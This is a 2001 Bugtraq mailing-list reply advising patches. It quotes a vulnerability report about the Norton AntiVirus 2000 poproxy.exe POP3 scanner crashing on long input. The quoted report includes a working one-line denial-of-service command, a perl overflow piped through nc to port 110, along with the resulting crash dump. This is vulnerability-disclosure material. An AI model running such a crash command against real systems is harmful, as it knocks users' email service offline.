Re: Nortan Antivirus 2000 Poproxy.exe problem

From: Eric Chien (ecchienat_private)
Date: Thu May 24 2001 - 14:04:36 PDT

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    Hello,
    
    Verify you have the latest product patches.
    http://service1.symantec.com/SUPPORT/nav.nsf/pfdocs/2000011400475506
    
    Hope that helps,
    
    ...Eric
    
    At 07:59 PM 5/24/2001 +0800, bugtraq@blue-ferret.com.au wrote:
    >Poproxy.exe is the email virus scanner included in Nortan Antivirus 2000 
    >(maybe
    >other versions too). It listens on port 110 and acts as a mail server,
    >retreiving your mail then scanning it, and passing it along to the mail client
    >(i think).
    >
    >While messing around with this i crashed the server by sending it
    >too many characters (269 or more). Once the program crashes the
    >user is unable to receive email until the next reboot (or poproxy.exe is run
    >again)
    >
    >Example:
    >perl -e '{print "A"x269}' |nc 10.0.2.1 110
    >
    >where 10.0.2.1 is the windows machine running poproxy.exe
    >
    >The output i got was:
    >POPROXY caused an invalid page fault in module MFC42.DLL at 014f:5f490453.
    >Registers:
    >EAX=00000000 CS=014f EIP=5f490453 EFLGS=00010246
    >EBX=00000000 SS=0157 ESP=02b1fc00 EBP=02b1fc14
    >ECX=007c0f28 DS=0157 ESI=00000000 FS=381f
    >EDX=00000000 ES=0157 EDI=007c0ef8 GS=1247
    >Bytes at CS:EIP:
    >89 7e 04 e8 ac 49 f8 ff 53 56 ff 76 04 e8 a7 48
    >Stack dump:
    >ffffffff 00000000 00000000 00a136b0 00000000 41414141 5f419f09 007c0ef8 
    >00a11f20 007c0f60 00000001 5f419f09 00000009 0000010d 00000001 5f419e84
    >
    >
    >Can anyone else confirm this?
    



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